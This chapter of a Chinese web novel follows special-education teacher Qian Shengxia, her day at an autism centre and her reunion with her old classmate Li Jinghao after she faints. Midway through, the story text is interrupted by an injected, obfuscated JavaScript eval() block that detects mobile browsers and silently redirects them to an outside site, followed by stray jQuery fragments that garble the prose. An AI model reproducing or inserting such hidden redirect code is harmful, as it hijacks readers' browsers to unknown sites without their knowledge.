【谁杀死了一九年的夏？
这场完美的谋杀，
没有目击证人，
尸体，
凶器，
只有受害者。
和一个流泪的夏天。
——2019年秋。
钱圣夏撕毁的周练】
轰隆——
轰隆——
飞机发动机的轰鸣声从头顶上方的远处传来，钱圣夏的身体仿佛陷入了一团软乎乎的云，绵软无力。她挣扎着聚起力气，试图从地上爬起来。
大力的喘气震得钱圣夏胸口止不住的起伏。
“呼……呼……”
钱圣夏感受到身体被人移动到他的膝盖上，移动的人语气急切，吼道：“钱圣夏，钱圣夏？！”
是一个男人的声音。
不过此刻的钱圣夏再没有别的心思细想。
“哈……！”
钱圣夏不受控制地大力呼吸，她的呼吸逐渐变浅、变深。
呼—呼—呼—呼—！
她的耳边是沉重的呼吸声和刺耳的蝉鸣。
那人轻抚上她的背，拍着她的背顺气，钱圣夏紧皱着眉，含着浑浊的气吐出一个字：“……糖。”
“低血糖？”
“……嗯！”
钱圣夏闭着眼狂点头，她伸出半弯的手臂示意自己的口袋，“糖……”
男人叹了口气，“得罪了。”
一股淡淡的皂荚味随着男人弯腰的动作扑面而来，钱圣夏猛地睁眼，看到头顶的月亮正挂在天边。
“别怕。”男人似乎感受到了她的动作。
随之，一只带着温热体温的手握上了她的，糖被残留的指尖传递到她的掌心。那只手很快离开了。
钱圣夏侧头吃下那颗糖，甜味瞬间塞满味蕾，一股暖意逐渐流淌四肢百骸。
呼——
呼吸不再紧促，钱圣夏闭眼调整，思绪这才逐渐回笼，而她第一个念头就是——
等等，他怎么知道我的名字？！
钱圣夏抿了下嘴，没有抬头，再次出击的时候，她几乎是瞬间抓住对方的衣领，呵道：
“别动！”
“……好。”对方一滞，立马卸力，做出缴械投降的动作。
钱圣夏的眼睛也是在这时候才能聚焦，对方的衣领被她扯得太大力，衣领下的锁骨瞬间暴露在空气之中。
钱圣夏眯了眯眼，摇摇头，目光落在了他的锁骨往下一处——
那是一个小小的、8字形，淡紫的深色疤痕。在她的记忆里，有一个人跟他伤在了同样的地方。
她对他说，这是命运的馈赠。
是他。
那人倒呈现一番悠闲自得的样子，他极斯文地拽回衣领，又慢条斯理地说：“怎么？几年不见，第一次见就扒我衣服？”
就凭这臭不要脸的说辞，绝对是他。
钱圣夏在心中笃定一个名字，她抬眼道：
“李景浩。”
飞机的轰隆声已然过去，而蝉声依旧在他们的耳边响起。水泥路旁的路灯和电瓶车的车灯齐齐照在他们身上，李景浩看了过来。
他在钱圣夏的注视中点了点头，笑着说：”是我，同桌。”
他看了看已经暗下来的天，“这么晚了，在这干嘛？”
钱圣夏呵呵一笑，“别人压马路，我躺马路——不行吗？”
“哦，当然行。”
*
十小时前。
轰隆——
地铁的轰鸣声响起。
过弯道的时候，加速的冲劲让小江猛抓一下扶杆，抬起头，有一个人仅仅是站在那里，就瞬间占据她的视线。
钱老师，钱圣夏。
她大三实习机构的带教老师。
钱老师年轻靓丽，有一双明亮的杏眼和一张热情的嘴。
此刻她低着头，手按在包上，丸子头高高耸起，鬓角的碎发从耳后散落，她穿着一件粉色短袖蝴蝶结衬衫，一条过膝的黑色长裙。
地铁上的人们大多沉默盯着怀里的手机，即便摇晃着像罐头里的沙丁鱼，也要将一只手高高举起。
推挤的肩膀、沉闷的空气，在拥挤闷热的车厢里摇晃。
小江就在这时往前走了几步。
钱圣夏半个身体死死靠着扶杆，她脸上那挂着硕大黑眼圈的眼睛，装作若无其事地盯身边的座位。
“钱……”
小江话刚含在嘴里就咽了下去，因为她钱老师的眼睛瞬间亮了。
只见地铁车门缓缓打开，坐在钱老师对面的人刚起身，方才漂亮风度的钱老师一只手半遮脸，一个滑铲从另端飞去，咻地一声，再单手抓住座位扶手，屁股稳稳地落在位置上——
“耶！”
随着这声小而满足的加油，钱圣夏背着的帆布包上挂件，就在两人短暂交汇的视线中，往小江的方向掉了过去。
小江连忙接住。握到手上时，她才看清它的样子：是一个红色绒黄色芯的薯条挂件，连着挂件掉出来的是包包的拉链。
怪不得掉出来了。
小江走上前把挂件给钱老师：“嗨钱老师，给你！”
“嗨小江，谢谢你。”
钱圣夏笑着，连忙接过挂件，重新挂在手机上，她拍走薯条挂件上的灰尘，心理暗暗想道：“这个不能弄丢。”
两人走去机构的路上，小江前后想了好几个问题，终于在上电梯时鼓起勇气向钱圣夏问道：“钱老师，你在这多久了？”
“一年了吧，”钱圣夏回忆道：“现在是二五年，我是二四年五月入职颜语的，那就是一年多一点。”
好厉害啊。
小江抱着实习笔记的手不觉更紧了些。从她刚学习特殊教育这门专业开始，“颜语儿童康复中心”的名字就频繁在老师的课堂中提及：
“像颜语，就是近几年临安本地老牌的针对孤独症儿童的机构……”
“你们之后要是去了颜语就知道，他们目前的师资和技术是国内顶尖的。”
“……”
钱圣夏带小江走进了今天的个训室，个训室简直是“家徒四壁”，除了几张桌子和凳子，就是一排小柜子和柜子组成的玩具区。
机构和幼儿园不同，幼儿园的教室到处摆着精美的环创设计，而机构只有几个贴起来的卡通人物。
教学风格自然更不相同。机构的训练内容常规是回合式教学，精髓就是重复、回合制，因此在长期训练中，幼儿极有可能会产生逆反心理。
这是第三次代币板的刷新了。
当第三个小圆饼被钱圣夏按在板上时，还在画画的汤圆借机抓住钱圣夏的手——
“薯条！薯条！”
汤圆这两声叫得格外兴奋，他往前一趴，用力，两手抓住了钱圣夏手机上挂着的薯条挂件。
钱圣夏：……！
时过境迁，薯条挂件扣处的镀金涂层早已斑驳，锈色明晃晃地亮着，刺痛着钱圣夏的眼睛。
她指尖一颤，眼睛转而落在汤圆的画上。
“啪嗒！”
耳边积木哗啦散落，汤圆两手将积木高高举起又放下。这声音太有魔力，钱圣夏突然想到高二下着暴雨的晚上，李景浩就坐在她对面。
他神色凝重，认真而缓慢地说：
“钱圣夏，你可以不仅仅把他们当作特殊孩子，在一定程度上，他们只是有特殊教育需要的孩子。”
“——哇啊啊啊啊！”
刺耳的哭嚎一下子打断钱圣夏的回忆，钱圣夏做了个深呼吸，她一脚踩住凳子的一角，摇晃的凳子停止了动作，方才汤圆还嚣张的气焰也瞬间消退。
钱圣夏伸手摸了摸汤圆的后背，她对着撅着小嘴的汤圆说：“汤圆！怪不得不安分，穿那么多衣服，出那么多汗，下次热的话要跟说，钱老师我好热，知道了吗？”
“唔……”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903248|176727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
钱圣夏揉了揉汤圆的小脸蛋啊：“跟老师说，钱老师我好热呀——”
“钱老师！”汤圆猛地一抬头，“我好热呀！”
钱圣夏给他竖了个大拇指。
*
钱圣夏按着太阳穴，pad屏幕上的数据缠成死结。她叹了口气，把薯条挂件从手机上取下来，“于老师，汤圆最近有没有画过——”
“8吗？”于老师从工位上抬起头，“倒也是，最近让他画画，他别的什么都不画，只画8。”
钱圣夏点点头，歪着脑袋一副若有所思的样子。
于老师补充说：“不过虽然有点奇怪，但有可能是学校和家长在教他认数字，汤圆对一两个印象深刻也正常。
“是吗？”钱圣夏说。
她转过头，看到自己工位上摆着相框，是老家一处公园的风景图。
左上角是几棵树，中间是公园中心的喷泉，照片里能看到往外冒的水柱。其实是一道很平淡的风景。
钱圣夏坐了起来。
她拿起那个相框，按照记忆里的摸索了一下，果然，右下角有一处被铅笔轻轻标记的“8”。
这是高二那年生日，李景浩送给她的生日礼物。
钱圣夏听见自己的声音说：“不，那不是8。”
“那你觉得是什么？”于老师也转过头看她。
钱圣夏摇摇头，“……我不知道。”
具体的数字八，此刻却模糊的在钱圣夏脑子里打结。钱圣夏听见一声自己的叹息声。
“哎……”
于老师把转椅往她那转了点，说：“好啦，别叹气了。诶钱老师，你的黑眼圈怎么又重了？”
“别提了，”钱圣夏打了个哈欠伸懒腰，“昨天去鹿城区兼职，回去洗漱完已经三点了。”
“你也真是拼，身兼数职呢。”
“哪有啊，就一个手语翻译——三天三夜，三更半夜，兼职都不停歇——不拼哪行啊，光那点工资我在临安都过不下去。”讲到一半，钱圣夏还唱了两句。
于老师笑了声，“行了，你也注意休息，早点回家，拼命钱娘。”
“好嘞。”钱圣夏诶了声，“现在几点了？”
“五点了！”
下班五点，但钱圣夏下地铁口已经是六点半了。
她面无表情地站在台阶上，身后是地铁站明亮的灯光，眼前是一片黑压压的水泥地。
“感觉自己一天白活。”
市中心听不到蝉声，但地铁站下来的一长段路却全都是呲哇乱叫的蝉鸣，吵得钱圣夏头疼。
往上眺，是高得不知道多远的高楼大厦；往前看，十字路口右转就是宽阔的水泥路，再往前，水泥路右拐弯的尽头，就是钱圣夏跟舍友李凌合租的房子。
道旁的路灯滋滋着亮灯，灯不亮，没人反应，索性也没人来修。
于是偶然传来的电瓶车喇叭声，夏季晚上的风声，呲牙乱叫的蝉声，还有上空传来的飞机驶过的轰鸣声，构成一章热闹的《噪音交响曲》，成了钱圣夏路上的消遣。
蝉鸣声更大了。
“杀死你，杀死你，杀死你……”
钱圣夏低头走着，不远处，电瓶车的轮胎摩擦着水泥路，滚出一截刺耳的摩擦声，上方又适时地笼罩着飞机驶过的轰鸣。
交响曲在此时进入高潮——
“嘭！”
钱圣夏两眼一黑，身体不受控制地向前倒去，发出“嘭”的一声。
“嘟嘟——”
与此同时，如拉响警报般的电瓶车喇叭声也长久不断。
晕倒之前，钱圣夏的视线里冒着刺眼的白光，她看到两道模糊的身影迅速靠近拉起她。
她紧闭着眼，下意识抓住最先来的那人的手臂。
一瞬间，钱圣夏感觉自己并不是躺在地上，而是跳了起来。风随着心脏跳到了很遥远的地方。
最后，时间也在向后跳。